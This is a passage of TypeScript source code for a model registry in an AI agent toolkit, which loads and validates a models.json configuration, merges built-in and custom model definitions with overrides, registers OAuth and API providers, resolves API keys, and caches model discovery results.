OpenAIResponsesCompat,\n\tregisterApiProvider,\n\tresetApiProviders,\n\ttype SimpleStreamOptions,\n} from \"@gsd/pi-ai\";\nimport { registerOAuthProvider, resetOAuthProviders } from \"@gsd/pi-ai/oauth\";\nimport { type Static, Type } from \"@sinclair/typebox\";\nimport AjvModule from \"ajv\";\nimport { existsSync, readFileSync } from \"fs\";\nimport { join } from \"path\";\nimport { getAgentDir } from \"../config.js\";\nimport type { AuthStorage } from \"./auth-storage.js\";\nimport { ModelDiscoveryCache } from \"./discovery-cache.js\";\nimport type { DiscoveredModel, DiscoveryResult } from \"./model-discovery.js\";\nimport { getDefaultTTL, getDiscoverableProviders, getDiscoveryAdapter } from \"./model-discovery.js\";\nimport { clearConfigValueCache, resolveConfigValue, resolveHeaders } from \"./resolve-config-value.js\";\nimport { isLocalModel } from \"./local-model-check.js\";\n\nconst Ajv = (AjvModule as any).default || AjvModule;\nconst ajv = new Ajv();\n\n// Schema for OpenRouter routing preferences\nconst OpenRouterRoutingSchema = Type.Object({\n\tonly: Type.Optional(Type.Array(Type.String())),\n\torder: Type.Optional(Type.Array(Type.String())),\n});\n\n// Schema for Vercel AI Gateway routing preferences\nconst VercelGatewayRoutingSchema = Type.Object({\n\tonly: Type.Optional(Type.Array(Type.String())),\n\torder: Type.Optional(Type.Array(Type.String())),\n});\n\n// Schema for OpenAI compatibility settings\nconst OpenAICompletionsCompatSchema = Type.Object({\n\tsupportsStore: Type.Optional(Type.Boolean()),\n\tsupportsDeveloperRole: Type.Optional(Type.Boolean()),\n\tsupportsReasoningEffort: Type.Optional(Type.Boolean()),\n\tsupportsUsageInStreaming: Type.Optional(Type.Boolean()),\n\tmaxTokensField: Type.Optional(Type.Union([Type.Literal(\"max_completion_tokens\"), Type.Literal(\"max_tokens\")])),\n\trequiresToolResultName: Type.Optional(Type.Boolean()),\n\trequiresAssistantAfterToolResult: Type.Optional(Type.Boolean()),\n\trequiresThinkingAsText: Type.Optional(Type.Boolean()),\n\trequiresMistralToolIds: Type.Optional(Type.Boolean()),\n\tthinkingFormat: Type.Optional(Type.Union([Type.Literal(\"openai\"), Type.Literal(\"zai\"), Type.Literal(\"qwen\")])),\n\topenRouterRouting: Type.Optional(OpenRouterRoutingSchema),\n\tvercelGatewayRouting: Type.Optional(VercelGatewayRoutingSchema),\n});\n\nconst OpenAIResponsesCompatSchema = Type.Object({\n\t// Reserved for future use\n});\n\nconst OpenAICompatSchema = Type.Union([OpenAICompletionsCompatSchema, OpenAIResponsesCompatSchema]);\n\n// Schema for custom model definition\n// Most fields are optional with sensible defaults for local models (Ollama, LM Studio, etc.)\nconst ModelDefinitionSchema = Type.Object({\n\tid: Type.String({ minLength: 1 }),\n\tname: Type.Optional(Type.String({ minLength: 1 })),\n\tapi: Type.Optional(Type.String({ minLength: 1 })),\n\tbaseUrl: Type.Optional(Type.String({ minLength: 1 })),\n\treasoning: Type.Optional(Type.Boolean()),\n\tinput: Type.Optional(Type.Array(Type.Union([Type.Literal(\"text\"), Type.Literal(\"image\")]))),\n\tcost: Type.Optional(\n\t\tType.Object({\n\t\t\tinput: Type.Number(),\n\t\t\toutput: Type.Number(),\n\t\t\tcacheRead: Type.Number(),\n\t\t\tcacheWrite: Type.Number(),\n\t\t}),\n\t),\n\tcontextWindow: Type.Optional(Type.Number()),\n\tmaxTokens: Type.Optional(Type.Number()),\n\theaders: Type.Optional(Type.Record(Type.String(), Type.String())),\n\tcompat: Type.Optional(OpenAICompatSchema),\n});\n\n// Schema for per-model overrides (all fields optional, merged with built-in model)\nconst ModelOverrideSchema = Type.Object({\n\tname: Type.Optional(Type.String({ minLength: 1 })),\n\treasoning: Type.Optional(Type.Boolean()),\n\tinput: Type.Optional(Type.Array(Type.Union([Type.Literal(\"text\"), Type.Literal(\"image\")]))),\n\tcost: Type.Optional(\n\t\tType.Object({\n\t\t\tinput: Type.Optional(Type.Number()),\n\t\t\toutput: Type.Optional(Type.Number()),\n\t\t\tcacheRead: Type.Optional(Type.Number()),\n\t\t\tcacheWrite: Type.Optional(Type.Number()),\n\t\t}),\n\t),\n\tcontextWindow: Type.Optional(Type.Number()),\n\tmaxTokens: Type.Optional(Type.Number()),\n\theaders: Type.Optional(Type.Record(Type.String(), Type.String())),\n\tcompat: Type.Optional(OpenAICompatSchema),\n});\n\ntype ModelOverride = Static<typeof ModelOverrideSchema>;\n\nconst ProviderConfigSchema = Type.Object({\n\tbaseUrl: Type.Optional(Type.String({ minLength: 1 })),\n\tapiKey: Type.Optional(Type.String({ minLength: 1 })),\n\tapi: Type.Optional(Type.String({ minLength: 1 })),\n\theaders: Type.Optional(Type.Record(Type.String(), Type.String())),\n\tauthHeader: Type.Optional(Type.Boolean()),\n\tmodels: Type.Optional(Type.Array(ModelDefinitionSchema)),\n\tmodelOverrides: Type.Optional(Type.Record(Type.String(), ModelOverrideSchema)),\n});\n\nconst ModelsConfigSchema = Type.Object({\n\tproviders: Type.Record(Type.String(), ProviderConfigSchema),\n});\n\najv.addSchema(ModelsConfigSchema, \"ModelsConfig\");\n\ntype ModelsConfig = Static<typeof ModelsConfigSchema>;\n\nexport type ProviderAuthMode = \"apiKey\" | \"oauth\" | \"externalCli\" | \"none\";\n\n/** Provider override config (baseUrl, headers, apiKey) without custom models */\ninterface ProviderOverride {\n\tbaseUrl?: string;\n\theaders?: Record<string, string>;\n\tapiKey?: string;\n}\n\n/** Result of loading custom models from models.json */\ninterface CustomModelsResult {\n\tmodels: Model<Api>[];\n\t/** Providers with baseUrl/headers/apiKey overrides for built-in models */\n\toverrides: Map<string, ProviderOverride>;\n\t/** Per-model overrides: provider -> modelId -> override */\n\tmodelOverrides: Map<string, Map<string, ModelOverride>>;\n\terror: string | undefined;\n}\n\nfunction emptyCustomModelsResult(error?: string): CustomModelsResult {\n\treturn { models: [], overrides: new Map(), modelOverrides: new Map(), error };\n}\n\nfunction mergeCompat(\n\tbaseCompat: Model<Api>[\"compat\"],\n\toverrideCompat: ModelOverride[\"compat\"],\n): Model<Api>[\"compat\"] | undefined {\n\tif (!overrideCompat) return baseCompat;\n\n\tconst base = baseCompat as OpenAICompletionsCompat | OpenAIResponsesCompat | undefined;\n\tconst override = overrideCompat as OpenAICompletionsCompat | OpenAIResponsesCompat;\n\tconst merged = { ...base, ...override } as OpenAICompletionsCompat | OpenAIResponsesCompat;\n\n\tconst baseCompletions = base as OpenAICompletionsCompat | undefined;\n\tconst overrideCompletions = override as OpenAICompletionsCompat;\n\tconst mergedCompletions = merged as OpenAICompletionsCompat;\n\n\tif (baseCompletions?.openRouterRouting || overrideCompletions.openRouterRouting) {\n\t\tmergedCompletions.openRouterRouting = {\n\t\t\t...baseCompletions?.openRouterRouting,\n\t\t\t...overrideCompletions.openRouterRouting,\n\t\t};\n\t}\n\n\tif (baseCompletions?.vercelGatewayRouting || overrideCompletions.vercelGatewayRouting) {\n\t\tmergedCompletions.vercelGatewayRouting = {\n\t\t\t...baseCompletions?.vercelGatewayRouting,\n\t\t\t...overrideCompletions.vercelGatewayRouting,\n\t\t};\n\t}\n\n\treturn merged as Model<Api>[\"compat\"];\n}\n\n/**\n * Deep merge a model override into a model.\n * Handles nested objects (cost, compat) by merging rather than replacing.\n */\nfunction applyModelOverride(model: Model<Api>, override: ModelOverride): Model<Api> {\n\tconst result = { ...model };\n\n\t// Simple field overrides\n\tif (override.name !== undefined) result.name = override.name;\n\tif (override.reasoning !== undefined) result.reasoning = override.reasoning;\n\tif (override.input !== undefined) result.input = override.input as (\"text\" | \"image\")[];\n\tif (override.contextWindow !== undefined) result.contextWindow = override.contextWindow;\n\tif (override.maxTokens !== undefined) result.maxTokens = override.maxTokens;\n\n\t// Merge cost (partial override)\n\tif (override.cost) {\n\t\tresult.cost = {\n\t\t\tinput: override.cost.input ?? model.cost.input,\n\t\t\toutput: override.cost.output ?? model.cost.output,\n\t\t\tcacheRead: override.cost.cacheRead ?? model.cost.cacheRead,\n\t\t\tcacheWrite: override.cost.cacheWrite ?? model.cost.cacheWrite,\n\t\t};\n\t}\n\n\t// Merge headers\n\tif (override.headers) {\n\t\tconst resolvedHeaders = resolveHeaders(override.headers);\n\t\tresult.headers = resolvedHeaders ? { ...model.headers, ...resolvedHeaders } : model.headers;\n\t}\n\n\t// Deep merge compat\n\tresult.compat = mergeCompat(model.compat, override.compat);\n\n\treturn result;\n}\n\n\n/**\n * Model registry - loads and manages models, resolves API keys via AuthStorage.\n */\nexport class ModelRegistry {\n\tprivate models: Model<Api>[] = [];\n\tprivate discoveredModels: Model<Api>[] = [];\n\tprivate discoveryCache: ModelDiscoveryCache;\n\tprivate customProviderApiKeys: Map<string, string> = new Map();\n\tprivate registeredProviders: Map<string, ProviderConfigInput> = new Map();\n\tprivate loadError: string | undefined = undefined;\n\n\tconstructor(\n\t\treadonly authStorage: AuthStorage,\n\t\tprivate modelsJsonPath: string | undefined = join(getAgentDir(), \"models.json\"),\n\t) {\n\t\tthis.discoveryCache = new ModelDiscoveryCache();\n\n\t\t// Set up fallback resolver for custom provider API keys\n\t\tthis.authStorage.setFallbackResolver((provider) => {\n\t\t\tconst keyConfig = this.customProviderApiKeys.get(provider);\n\t\t\tif (keyConfig) {\n\t\t\t\treturn resolveConfigValue(keyConfig);\n\t\t\t}\n\t\t\treturn undefined;\n\t\t});\n\n\t\t// Refresh models when credentials change (e.g., OAuth token refresh with new model limits)\n\t\tthis.authStorage.onCredentialChange(() => this.refresh());\n\n\t\t// Load models\n\t\tthis.loadModels();\n\t}\n\n\t/**\n\t * Reload models from disk (built-in + custom from models.json).\n\t */\n\trefresh(): void {\n\t\tthis.customProviderApiKeys.clear();\n\t\tthis.loadError = undefined;\n\n\t\t// Ensure dynamic API/OAuth registrations are rebuilt from current provider state.\n\t\tresetApiProviders();\n\t\tresetOAuthProviders();\n\n\t\tthis.loadModels();\n\n\t\tfor (const [providerName, config] of this.registeredProviders.entries()) {\n\t\t\tthis.applyProviderConfig(providerName, config);\n\t\t}\n\t}\n\n\t/**\n\t * Get any error from loading models.json (undefined if no error).\n\t */\n\tgetError(): string | undefined {\n\t\treturn this.loadError;\n\t}\n\n\tprivate loadModels(): void {\n\t\t// Load custom models and overrides from models.json\n\t\tconst {\n\t\t\tmodels: customModels,\n\t\t\toverrides,\n\t\t\tmodelOverrides,\n\t\t\terror,\n\t\t} = this.modelsJsonPath ? this.loadCustomModels(this.modelsJsonPath) : emptyCustomModelsResult();\n\n\t\tif (error) {\n\t\t\tthis.loadError = error;\n\t\t\t// Keep built-in models even if custom models failed to load\n\t\t}\n\n\t\tconst builtInModels = this.loadBuiltInModels(overrides, modelOverrides);\n\t\tlet combined = this.mergeCustomModels(builtInModels, customModels);\n\n\t\t// Let OAuth providers modify their models (e.g., update baseUrl)\n\t\tfor (const oauthProvider of this.authStorage.getOAuthProviders()) {\n\t\t\tconst cred = this.authStorage.get(oauthProvider.id);\n\t\t\tif (cred?.type === \"oauth\" && oauthProvider.modifyModels) {\n\t\t\t\tcombined = oauthProvider.modifyModels(combined, cred);\n\t\t\t}\n\t\t}\n\n\t\tthis.models = combined;\n\t}\n\n\t/** Load built-in models and apply provider/model overrides */\n\tprivate loadBuiltInModels(\n\t\toverrides: Map<string, ProviderOverride>,\n\t\tmodelOverrides: Map<string, Map<string, ModelOverride>>,\n\t): Model<Api>[] {\n\t\treturn getProviders().flatMap((provider) => {\n\t\t\tconst models = getModels(provider as KnownProvider) as Model<Api>[];\n\t\t\tconst providerOverride = overrides.get(provider);\n\t\t\tconst perModelOverrides = modelOverrides.get(provider);\n\n\t\t\treturn models.map((m) => {\n\t\t\t\tlet model = m;\n\n\t\t\t\t// Apply provider-level baseUrl/headers override\n\t\t\t\tif (providerOverride) {\n\t\t\t\t\tconst resolvedHeaders = resolveHeaders(providerOverride.headers);\n\t\t\t\t\tmodel = {\n\t\t\t\t\t\t...model,\n\t\t\t\t\t\tbaseUrl: providerOverride.baseUrl ?? model.baseUrl,\n\t\t\t\t\t\theaders: resolvedHeaders ? { ...model.headers, ...resolvedHeaders } : model.headers,\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\t// Apply per-model override\n\t\t\t\tconst modelOverride = perModelOverrides?.get(m.id);\n\t\t\t\tif (modelOverride) {\n\t\t\t\t\tmodel = applyModelOverride(model, modelOverride);\n\t\t\t\t}\n\n\t\t\t\treturn model;\n\t\t\t});\n\t\t});\n\t}\n\n\t/** Merge custom models into built-in list by provider+id (custom wins on conflicts). */\n\tprivate mergeCustomModels(builtInModels: Model<Api>[], customModels: Model<Api>[]): Model<Api>[] {\n\t\tconst merged = [...builtInModels];\n\t\tfor (const customModel of customModels) {\n\t\t\tconst existingIndex = merged.findIndex((m) => m.provider === customModel.provider && m.id === customModel.id);\n\t\t\tif (existingIndex >= 0) {\n\t\t\t\tmerged[existingIndex] = customModel;\n\t\t\t} else {\n\t\t\t\tmerged.push(customModel);\n\t\t\t}\n\t\t}\n\t\treturn merged;\n\t}\n\n\tprivate loadCustomModels(modelsJsonPath: string): CustomModelsResult {\n\t\tif (!existsSync(modelsJsonPath)) {\n\t\t\treturn emptyCustomModelsResult();\n\t\t}\n\n\t\ttry {\n\t\t\tconst content = readFileSync(modelsJsonPath, \"utf-8\");\n\t\t\tconst config: ModelsConfig = JSON.parse(content);\n\n\t\t\t// Validate schema\n\t\t\tconst validate = ajv.getSchema(\"ModelsConfig\")!;\n\t\t\tif (!validate(config)) {\n\t\t\t\tconst errors =\n\t\t\t\t\tvalidate.errors?.map((e: any) => ` - ${e.instancePath || \"root\"}: ${e.message}`).join(\"\\n\") ||\n\t\t\t\t\t\"Unknown schema error\";\n\t\t\t\treturn emptyCustomModelsResult(`Invalid models.json schema:\\n${errors}\\n\\nFile: ${modelsJsonPath}`);\n\t\t\t}\n\n\t\t\t// Additional validation\n\t\t\tthis.validateConfig(config);\n\n\t\t\tconst overrides = new Map<string, ProviderOverride>();\n\t\t\tconst modelOverrides = new Map<string, Map<string, ModelOverride>>();\n\n\t\t\tfor (const [providerName, providerConfig] of Object.entries(config.providers)) {\n\t\t\t\t// Apply provider-level baseUrl/headers/apiKey override to built-in models when configured.\n\t\t\t\tif (providerConfig.baseUrl || providerConfig.headers || providerConfig.apiKey) {\n\t\t\t\t\toverrides.set(providerName, {\n\t\t\t\t\t\tbaseUrl: providerConfig.baseUrl,\n\t\t\t\t\t\theaders: providerConfig.headers,\n\t\t\t\t\t\tapiKey: providerConfig.apiKey,\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\t// Store API key for fallback resolver.\n\t\t\t\tif (providerConfig.apiKey) {\n\t\t\t\t\tthis.customProviderApiKeys.set(providerName, providerConfig.apiKey);\n\t\t\t\t}\n\n\t\t\t\tif (providerConfig.modelOverrides) {\n\t\t\t\t\tmodelOverrides.set(providerName, new Map(Object.entries(providerConfig.modelOverrides)));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn { models: this.parseModels(config), overrides, modelOverrides, error: undefined };\n\t\t} catch (error) {\n\t\t\tif (error instanceof SyntaxError) {\n\t\t\t\treturn emptyCustomModelsResult(`Failed to parse models.json: ${error.message}\\n\\nFile: ${modelsJsonPath}`);\n\t\t\t}\n\t\t\treturn emptyCustomModelsResult(\n\t\t\t\t`Failed to load models.json: ${error instanceof Error ? error.message : error}\\n\\nFile: ${modelsJsonPath}`,\n\t\t\t);\n\t\t}\n\t}\n\n\tprivate validateConfig(config: ModelsConfig): void {\n\t\tfor (const [providerName, providerConfig] of Object.entries(config.providers)) {\n\t\t\tconst hasProviderApi = !!providerConfig.api;\n\t\t\tconst models = providerConfig.models ?? [];\n\t\t\tconst hasModelOverrides =\n\t\t\t\tproviderConfig.modelOverrides && Object.keys(providerConfig.modelOverrides).length > 0;\n\n\t\t\tif (models.length === 0) {\n\t\t\t\t// Override-only config: needs baseUrl OR modelOverrides (or both)\n\t\t\t\tif (!providerConfig.baseUrl && !hasModelOverrides) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}: must specify \"baseUrl\", \"modelOverrides\", or \"models\".`);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Custom models are merged into provider models and require endpoint + auth.\n\t\t\t\tif (!providerConfig.baseUrl) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}: \"baseUrl\" is required when defining custom models.`);\n\t\t\t\t}\n\t\t\t\tif (!providerConfig.apiKey) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}: \"apiKey\" is required when defining custom models.`);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor (const modelDef of models) {\n\t\t\t\tconst hasModelApi = !!modelDef.api;\n\n\t\t\t\tif (!hasProviderApi && !hasModelApi) {\n\t\t\t\t\tthrow new Error(\n\t\t\t\t\t\t`Provider ${providerName}, model ${modelDef.id}: no \"api\" specified. Set at provider or model level.`,\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\tif (!modelDef.id) throw new Error(`Provider ${providerName}: model missing \"id\"`);\n\t\t\t\t// Validate contextWindow/maxTokens only if provided (they have defaults)\n\t\t\t\tif (modelDef.contextWindow !== undefined && modelDef.contextWindow <= 0)\n\t\t\t\t\tthrow new Error(`Provider ${providerName}, model ${modelDef.id}: invalid contextWindow`);\n\t\t\t\tif (modelDef.maxTokens !== undefined && modelDef.maxTokens <= 0)\n\t\t\t\t\tthrow new Error(`Provider ${providerName}, model ${modelDef.id}: invalid maxTokens`);\n\t\t\t}\n\t\t}\n\t}\n\n\tprivate parseModels(config: ModelsConfig): Model<Api>[] {\n\t\tconst models: Model<Api>[] = [];\n\n\t\tfor (const [providerName, providerConfig] of Object.entries(config.providers)) {\n\t\t\tconst modelDefs = providerConfig.models ?? [];\n\t\t\tif (modelDefs.length === 0) continue; // Override-only, no custom models\n\n\t\t\t// Store API key config for fallback resolver\n\t\t\tif (providerConfig.apiKey) {\n\t\t\t\tthis.customProviderApiKeys.set(providerName, providerConfig.apiKey);\n\t\t\t}\n\n\t\t\tfor (const modelDef of modelDefs) {\n\t\t\t\tconst api = modelDef.api || providerConfig.api;\n\t\t\t\tif (!api) continue;\n\n\t\t\t\t// Merge headers: provider headers are base, model headers override\n\t\t\t\t// Resolve env vars and shell commands in header values\n\t\t\t\tconst providerHeaders = resolveHeaders(providerConfig.headers);\n\t\t\t\tconst modelHeaders = resolveHeaders(modelDef.headers);\n\t\t\t\tlet headers = providerHeaders || modelHeaders ? { ...providerHeaders, ...modelHeaders } : undefined;\n\n\t\t\t\t// If authHeader is true, add Authorization header with resolved API key\n\t\t\t\tif (providerConfig.authHeader && providerConfig.apiKey) {\n\t\t\t\t\tconst resolvedKey = resolveConfigValue(providerConfig.apiKey);\n\t\t\t\t\tif (resolvedKey) {\n\t\t\t\t\t\theaders = { ...headers, Authorization: `Bearer ${resolvedKey}` };\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Provider baseUrl is required when custom models are defined.\n\t\t\t\t// Individual models can override it with modelDef.baseUrl.\n\t\t\t\tconst defaultCost = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 };\n\t\t\t\tmodels.push({\n\t\t\t\t\tid: modelDef.id,\n\t\t\t\t\tname: modelDef.name ?? modelDef.id,\n\t\t\t\t\tapi: api as Api,\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tbaseUrl: modelDef.baseUrl ?? providerConfig.baseUrl!,\n\t\t\t\t\treasoning: modelDef.reasoning ?? false,\n\t\t\t\t\tinput: (modelDef.input ?? [\"text\"]) as (\"text\" | \"image\")[],\n\t\t\t\t\tcost: modelDef.cost ?? defaultCost,\n\t\t\t\t\tcontextWindow: modelDef.contextWindow ?? 128000,\n\t\t\t\t\tmaxTokens: modelDef.maxTokens ?? 16384,\n\t\t\t\t\theaders,\n\t\t\t\t\tcompat: modelDef.compat,\n\t\t\t\t} as Model<Api>);\n\t\t\t}\n\t\t}\n\n\t\treturn models;\n\t}\n\n\t/**\n\t * Get all models (built-in + custom).\n\t * If models.json had errors, returns only built-in models.\n\t */\n\tgetAll(): Model<Api>[] {\n\t\treturn this.models;\n\t}\n\n\t/**\n\t * Get only models that have auth configured.\n\t * This is a fast check that doesn't refresh OAuth tokens.\n\t */\n\tgetAvailable(): Model<Api>[] {\n\t\treturn this.models.filter((m) => this.isProviderRequestReady(m.provider));\n\t}\n\n\t/**\n\t * Get auth mode for a provider.\n\t * Defaults to \"apiKey\" for built-ins and providers without explicit mode.\n\t */\n\tgetProviderAuthMode(provider: string): ProviderAuthMode {\n\t\tconst config = this.registeredProviders.get(provider);\n\t\tif (!config) return \"apiKey\";\n\t\tif (config.authMode) return config.authMode;\n\t\tif (config.oauth) return \"oauth\";\n\t\tif (config.apiKey) return \"apiKey\";\n\t\treturn \"apiKey\";\n\t}\n\n\t/**\n\t * Whether a provider can be used for requests/fallback without hard auth gating.\n\t */\n\tisProviderRequestReady(provider: string): boolean {\n\t\tconst config = this.registeredProviders.get(provider);\n\t\tif (config?.isReady) return config.isReady();\n\t\tconst authMode = this.getProviderAuthMode(provider);\n\t\tif (authMode === \"externalCli\" || authMode === \"none\") return true;\n\t\treturn this.authStorage.hasAuth(provider);\n\t}\n\n\t/**\n\t * Find a model by provider and ID.\n\t */\n\tfind(provider: string, modelId: string): Model<Api> | undefined {\n\t\treturn this.models.find((m) => m.provider === provider && m.id === modelId);\n\t}\n\n\t/**\n\t * Get API key for a model.\n\t * Returns undefined for externalCli/none providers (no key needed).\n\t * @param sessionId - Optional session ID for sticky credential selection\n\t */\n\tasync getApiKey(model: Model<Api>, sessionId?: string): Promise<string | undefined> {\n\t\tconst authMode = this.getProviderAuthMode(model.provider);\n\t\tif (authMode === \"externalCli\" || authMode === \"none\") return undefined;\n\t\treturn this.authStorage.getApiKey(model.provider, sessionId, { baseUrl: model.baseUrl });\n\t}\n\n\t/**\n\t * Get API key for a provider.\n\t * Returns undefined for externalCli/none providers (no key needed).\n\t * @param sessionId - Optional session ID for sticky credential selection\n\t */\n\tasync getApiKeyForProvider(provider: string, sessionId?: string): Promise<string | undefined> {\n\t\tconst authMode = this.getProviderAuthMode(provider);\n\t\tif (authMode === \"externalCli\" || authMode === \"none\") return undefined;\n\t\treturn this.authStorage.getApiKey(provider, sessionId);\n\t}\n\n\t/**\n\t * Check if a model is using OAuth credentials (subscription).\n\t */\n\tisUsingOAuth(model: Model<Api>): boolean {\n\t\tconst cred = this.authStorage.get(model.provider);\n\t\treturn cred?.type === \"oauth\";\n\t}\n\n\t/**\n\t * Register a provider dynamically (from extensions).\n\t *\n\t * If provider has models: replaces all existing models for this provider.\n\t * If provider has only baseUrl/headers: overrides existing models' URLs.\n\t * If provider has oauth: registers OAuth provider for /login support.\n\t */\n\tregisterProvider(providerName: string, config: ProviderConfigInput): void {\n\t\tthis.registeredProviders.set(providerName, config);\n\t\tthis.applyProviderConfig(providerName, config);\n\t}\n\n\t/**\n\t * Unregister a previously registered provider.\n\t *\n\t * Removes the provider from the registry and reloads models from disk so that\n\t * built-in models overridden by this provider are restored to their original state.\n\t * Also resets dynamic OAuth and API stream registrations before reapplying\n\t * remaining dynamic providers.\n\t * Has no effect if the provider was never registered.\n\t */\n\tunregisterProvider(providerName: string): void {\n\t\tif (!this.registeredProviders.has(providerName)) return;\n\t\tthis.registeredProviders.delete(providerName);\n\t\tthis.customProviderApiKeys.delete(providerName);\n\t\tthis.refresh();\n\t}\n\n\tprivate applyProviderConfig(providerName: string, config: ProviderConfigInput): void {\n\t\t// Register OAuth provider if provided\n\t\tif (config.oauth) {\n\t\t\t// Ensure the OAuth provider ID matches the provider name\n\t\t\tconst oauthProvider: OAuthProviderInterface = {\n\t\t\t\t...config.oauth,\n\t\t\t\tid: providerName,\n\t\t\t};\n\t\t\tregisterOAuthProvider(oauthProvider);\n\t\t}\n\n\t\tif (config.streamSimple) {\n\t\t\tif (!config.api) {\n\t\t\t\tthrow new Error(`Provider ${providerName}: \"api\" is required when registering streamSimple.`);\n\t\t\t}\n\t\t\tconst streamSimple = config.streamSimple;\n\t\t\tregisterApiProvider(\n\t\t\t\t{\n\t\t\t\t\tapi: config.api,\n\t\t\t\t\tstream: (model, context, options) => streamSimple(model, context, options as SimpleStreamOptions),\n\t\t\t\t\tstreamSimple,\n\t\t\t\t},\n\t\t\t\t`provider:${providerName}`,\n\t\t\t);\n\t\t}\n\n\t\t// Store API key for auth resolution\n\t\tif (config.apiKey) {\n\t\t\tthis.customProviderApiKeys.set(providerName, config.apiKey);\n\t\t}\n\n\t\tif (config.models && config.models.length > 0) {\n\t\t\t// Full replacement: remove existing models for this provider\n\t\t\tthis.models = this.models.filter((m) => m.provider !== providerName);\n\n\t\t\t// Validate required fields\n\t\t\tif (!config.baseUrl) {\n\t\t\t\tthrow new Error(`Provider ${providerName}: \"baseUrl\" is required when defining models.`);\n\t\t\t}\n\t\t\tconst authMode = config.authMode ?? (config.oauth ? \"oauth\" : config.apiKey ? \"apiKey\" : \"apiKey\");\n\t\t\tif (authMode === \"apiKey\" && !config.apiKey && !config.oauth) {\n\t\t\t\tthrow new Error(`Provider ${providerName}: \"apiKey\" or \"oauth\" is required when defining models.`);\n\t\t\t}\n\n\t\t\t// Parse and add new models\n\t\t\tfor (const modelDef of config.models) {\n\t\t\t\tconst api = modelDef.api || config.api;\n\t\t\t\tif (!api) {\n\t\t\t\t\tthrow new Error(`Provider ${providerName}, model ${modelDef.id}: no \"api\" specified.`);\n\t\t\t\t}\n\n\t\t\t\t// Merge headers\n\t\t\t\tconst providerHeaders = resolveHeaders(config.headers);\n\t\t\t\tconst modelHeaders = resolveHeaders(modelDef.headers);\n\t\t\t\tlet headers = providerHeaders || modelHeaders ? { ...providerHeaders, ...modelHeaders } : undefined;\n\n\t\t\t\t// If authHeader is true, add Authorization header\n\t\t\t\tif (config.authHeader && config.apiKey) {\n\t\t\t\t\tconst resolvedKey = resolveConfigValue(config.apiKey);\n\t\t\t\t\tif (resolvedKey) {\n\t\t\t\t\t\theaders = { ...headers, Authorization: `Bearer ${resolvedKey}` };\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tthis.models.push({\n\t\t\t\t\tid: modelDef.id,\n\t\t\t\t\tname: modelDef.name,\n\t\t\t\t\tapi: api as Api,\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tbaseUrl: config.baseUrl,\n\t\t\t\t\treasoning: modelDef.reasoning,\n\t\t\t\t\tinput: modelDef.input as (\"text\" | \"image\")[],\n\t\t\t\t\tcost: modelDef.cost,\n\t\t\t\t\tcontextWindow: modelDef.contextWindow,\n\t\t\t\t\tmaxTokens: modelDef.maxTokens,\n\t\t\t\t\theaders,\n\t\t\t\t\tcompat: modelDef.compat,\n\t\t\t\t} as Model<Api>);\n\t\t\t}\n\n\t\t\t// Apply OAuth modifyModels if credentials exist (e.g., to update baseUrl)\n\t\t\tif (config.oauth?.modifyModels) {\n\t\t\t\tconst cred = this.authStorage.get(providerName);\n\t\t\t\tif (cred?.type === \"oauth\") {\n\t\t\t\t\tthis.models = config.oauth.modifyModels(this.models, cred);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (config.baseUrl) {\n\t\t\t// Override-only: update baseUrl/headers for existing models\n\t\t\tconst resolvedHeaders = resolveHeaders(config.headers);\n\t\t\tthis.models = this.models.map((m) => {\n\t\t\t\tif (m.provider !== providerName) return m;\n\t\t\t\treturn {\n\t\t\t\t\t...m,\n\t\t\t\t\tbaseUrl: config.baseUrl ?? m.baseUrl,\n\t\t\t\t\theaders: resolvedHeaders ? { ...m.headers, ...resolvedHeaders } : m.headers,\n\t\t\t\t};\n\t\t\t});\n\t\t}\n\t}\n\n\t/**\n\t * Discover models from all providers that support discovery.\n\t * Results are cached and merged into the registry (never overrides existing models).\n\t */\n\tasync discoverModels(providers?: string[]): Promise<DiscoveryResult[]> {\n\t\tconst targetProviders = providers ?? getDiscoverableProviders();\n\t\tconst results: DiscoveryResult[] = [];\n\n\t\tfor (const providerName of targetProviders) {\n\t\t\tconst adapter = getDiscoveryAdapter(providerName);\n\t\t\tif (!adapter.supportsDiscovery) continue;\n\n\t\t\t// Skip if cache is still fresh\n\t\t\tif (!this.discoveryCache.isStale(providerName)) {\n\t\t\t\tconst cached = this.discoveryCache.get(providerName);\n\t\t\t\tif (cached) {\n\t\t\t\t\tresults.push({\n\t\t\t\t\t\tprovider: providerName,\n\t\t\t\t\t\tmodels: cached.models,\n\t\t\t\t\t\tfetchedAt: cached.fetchedAt,\n\t\t\t\t\t});\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\tconst apiKey = await this.authStorage.getApiKey(providerName);\n\t\t\t\tif (!apiKey && !this.isProviderRequestReady(providerName)) continue;\n\n\t\t\t\tconst models = await adapter.fetchModels(apiKey ?? \"\", undefined);\n\t\t\t\tthis.discoveryCache.set(providerName, models);\n\t\t\t\tresults.push({\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tmodels,\n\t\t\t\t\tfetchedAt: Date.now(),\n\t\t\t\t});\n\t\t\t} catch (error) {\n\t\t\t\tresults.push({\n\t\t\t\t\tprovider: providerName,\n\t\t\t\t\tmodels: [],\n\t\t\t\t\tfetchedAt: Date.now(),\n\t\t\t\t\terror: error instanceof Error ? error.message : String(error),\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\n\t\t// Convert and merge discovered models\n\t\tthis.discoveredModels = this.convertDiscoveredModels(results);\n\t\treturn results;\n\t}\n\n\t/**\n\t * Get all models including discovered ones.\n\t * Discovered models are appended but never override existing models.\n\t */\n\tgetAllWithDiscovered(): Model<Api>[] {\n\t\tconst existingIds = new Set(this.models.map((m) => `${m.provider}/${m.id}`));\n\t\tconst unique = 